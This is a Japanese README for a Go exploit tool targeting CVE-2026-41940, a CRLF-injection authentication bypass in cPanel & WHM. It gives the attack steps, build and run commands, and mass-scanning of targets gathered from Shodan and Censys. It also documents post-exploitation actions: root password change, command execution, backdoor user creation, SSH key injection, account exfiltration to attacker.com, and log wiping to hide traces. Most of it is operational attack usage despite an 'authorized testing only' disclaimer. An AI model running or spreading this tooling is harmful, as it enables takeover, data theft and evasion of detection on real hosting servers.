
CVE-2026-41940のエクスプロイトPoC。cPanel & WHMにおけるCRLFインジェクションを介した認証バイパスです。マススキャン、ポストエクスプロイテーション操作、および認可されたテスト用の対話型シェルを含みます。
作成者: Ishan Oshada | GitHub
⚠️ 認可されたセキュリティテスト専用です。無断使用は違法です。


CVE-2026-41940 は、cPanel & WHM(バージョン < 11.110.0.97、11.118.0.63、11.126.0.54、11.132.0.29、11.134.0.20、11.136.0.5)における CRLFインジェクション の脆弱性です。
saveSession() 関数は、filter_sessiondata() を適用した後にセッションデータを書き込みますが、フィルタの適用が遅すぎます。Authorization: Basic ヘッダー内に CRLF(\r\n)文字を注入することで、攻撃者はディスク上のセッションファイルを任意のキーと値のペア(例:hasroot=1、tfa_verified=1、user=root)で汚染できます。
汚染されたセッションが後で読み込まれると、cPanel/WHM はパスワードなしで完全なルートアクセスを許可します。
--verbose)– 完全なHTTPリクエスト/レスポンスを表示git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
ソースからビルドする代わりに、リポジトリから最新の安定版実行ファイルを直接ダウンロードできます。これらは更新のたびに自動生成されます:
注記: Linux または macOS を使用する場合は、ダウンロード後に実行権限を付与することを忘れないでください:
# 基本スキャン
go run main.go -u https://target.com:2087
# すべてのcPanelアカウントを一覧表示
go run main.go -u https://target.com:2087 -action list
# 対話型WHMシェル
go run main.go -u https://target.com:2087 -action shell
# urls.txt による一括スキャン
go run main.go -l urls.txt -t 20 -o results.json
シェル内(-action shell)に入ったら、以下のコマンドを使用します:
リポジトリには、一括スキャン用の1000のサンプルターゲットを含む urls.txt が含まれています。
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# 基本の一括スキャン(10スレッド)
go run main.go -l urls.txt
# 高速一括スキャン(50スレッド、結果を保存)
go run main.go -l urls.txt -t 50 -o results.json
# エクスプロイト後アクション付き一括スキャン
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# 詳細出力付き一括スキャン
go run main.go -l urls.txt -t 10 --verbose
# タイムアウト延長付き一括スキャン(低速ネットワーク用)
go run main.go -l urls.txt -t 30 -timeout 30
# IPレンジを生成(Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# IPレンジを生成(Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# Shodan から
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# Censys から
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ VULNERABLE TARGET DETECTED ║
╠════════════════════════════════════════════════════════════════╣
║ Target: https://target.example.com:2087 ║
║ Token: /cpsess1234567890 ║
║ Version: 11.76.0.22 ║
║ Session: :od2aMhg5zJeQunUy... ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Action: LIST
• User: admin | Domain: example.com
• User: backup | Domain: backup.example.com
• User: client1 | Domain: client1.com
════════════════════════════════════════════════════════════════════
SCAN COMPLETE SUMMARY
════════════════════════════════════════════════════════════════════
Total Targets Scanned: 1000
Vulnerable Targets: 47
Time Elapsed: 125.34 seconds
VULNERABLE TARGETS:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Token: /cpsess1111111111
Version: 11.76.0.22
Session: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Token: /cpsess2222222222
Version: 11.86.0.15
Session: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Token: /cpsess3333333333
Version: 11.118.0.42
Session: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Results saved to: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # ドキュメント
├── bin/ # ビルド済みマルチプラットフォーム実行ファイル
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # メインソースコード
├── urls.txt # 1000のサンプルターゲット
├── go.mod # Goモジュールファイル
├── .gitignore # Git無視ファイル
└── results.json # 出力ファイル(生成)
このツールは教育目的および認可されたペネトレーションテスト専用です。
コンピュータシステムへの無断アクセスは、以下の法律で違法とされています:
作成者は誤用に対する責任を負いません。自己責任で使用してください。
このツールを使用することで、ターゲットシステムをテストする適切な認可を持っていることに同意したものとみなされます。
Ishan Oshada
このツールが役立つと思われた場合:
ハッピーハッキング! 🚀
覚えておいてください:大きな力には大きな責任が伴います。倫理的に使用してください。
| 段階 | アクション | 説明 |
|---|
| 1 | POST /login/?login_only=1 | 誤った認証情報で事前認証セッションクッキーを要求 |
| 2 | GET / + CRLF Authorization ヘッダー | hasroot=1、user=root などでセッションファイルを汚染 |
| 3 | GET /scripts2/listaccts | セッションキャッシュに汚染されたファイルの再読み込みを強制(伝播) |
| 4 | GET /cpsess<TOKEN>/json-api/version | ルートアクセスを検証 – 成功 = 200 + バージョンデータ |
| プラットフォーム | 場所 |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | 目的 | コマンド |
|---|
| 1 | 単一ターゲットの基本スキャン | go run main.go -u https://target.com:2087 |
| 2 | すべてのcPanelアカウントを一覧表示 | go run main.go -u https://target.com:2087 -action list |
| 3 | ルートパスワードを変更 | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | システムコマンドを実行 | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | サーバー情報を取得 | go run main.go -u https://target.com:2087 -action info |
| 6 | バックドアユーザーを作成 | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | APIトークンを作成(ステルス) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | SSHキーを注入 | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | アカウントをダンプ&外部送信 | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | ログを消去&痕跡を隠蔽 | go run main.go -u https://target.com:2087 -action wipe |
| 11 | 対話型WHMシェル | go run main.go -u https://target.com:2087 -action shell |
| 12 | ファイルから一括スキャン | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | 結果をJSONに保存 | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | 詳細デバッグを有効化 | go run main.go -u https://target.com:2087 --verbose |
| 15 | 他のツールからパイプ | cat urls.txt | go run main.go -t 20 |
| 16 | タイムアウトを延長 | go run main.go -u https://target.com:2087 -timeout 30 |
| アクション | フラグ | 説明 | ステルスレベル |
|---|
list | -action list | すべてのcPanelアカウントを一覧表示 | 低 |
passwd | -action passwd -passwd NEWPASS | ルートパスワードを変更(ノイジー) | 高(検出可能) |
cmd | -action cmd -cmd "id" | OSコマンドを実行 | 中 |
info | -action info | ホスト名、負荷、バージョンを表示 | 低 |
adduser | -action adduser -new-user U -new-domain D | バックドアcPanelユーザーを作成 | 中 |
apitoken | -action apitoken [-tokenname NAME] | 永続的なAPIトークンを生成 | 非常に低 |
sshkey | -action sshkey -sshkey "ssh-rsa..." | SSH公開鍵をルートに注入 | 非常に低 |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | アカウントをバックアップ&外部送信 | 中 |
wipe | -action wipe | WAFを無効化、ログを消去、履歴を消去 | 痕跡を隠蔽 |
shell | -action shell | 対話型WHMシェル | 低 |
| コマンド | 説明 | 例 |
|---|
accounts | すべてのcPanelアカウントを一覧表示 | accounts |
passwd <pass> | ルートパスワードを変更 | passwd MyNewPass123!2006 |
exec <command> | システムコマンドを実行 | exec "cat /etc/passwd" |
info | サーバー情報を表示 | info |
version | cPanelバージョンを表示 | version |
help | 利用可能なコマンドを表示 | help |
exit | シェルを終了 | exit |
| オプション | 型 | デフォルト | 説明 |
|---|
-u | string | - | ターゲットURL(例:https://example.com:2087) |
-l | string | - | ターゲットを含むファイル(1行に1つ) |
-t | int | 10 | 同時スレッド数 |
-action | string | - | エクスプロイト後アクション |
-passwd | string | - | 新しいパスワード(passwd/adduser 用) |
-cmd | string | - | 実行するコマンド(cmd アクション用) |
-new-user | string | - | adduser アクション用のユーザー名 |
-new-domain | string | - | adduser アクション用のドメイン |
-tokenname | string | - | APIトークンの名前(apitoken アクション用) |
-sshkey | string | - | 注入する公開SSHキー(sshkey アクション用) |
-dumpuser | string | - | バックアップするユーザー名(dumpacct アクション用) |
-exfil | string | - | 外部送信用のリモートURL(dumpacct アクション用) |
-o | string | - | 出力JSONファイル(検出時に自動保存) |
--verbose | bool | false | HTTPリクエスト/レスポンスを表示 |
-h | bool | false | ヘルプメニューを表示 |
| ブランチ | パッチ適用済みバージョン | 脆弱な < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |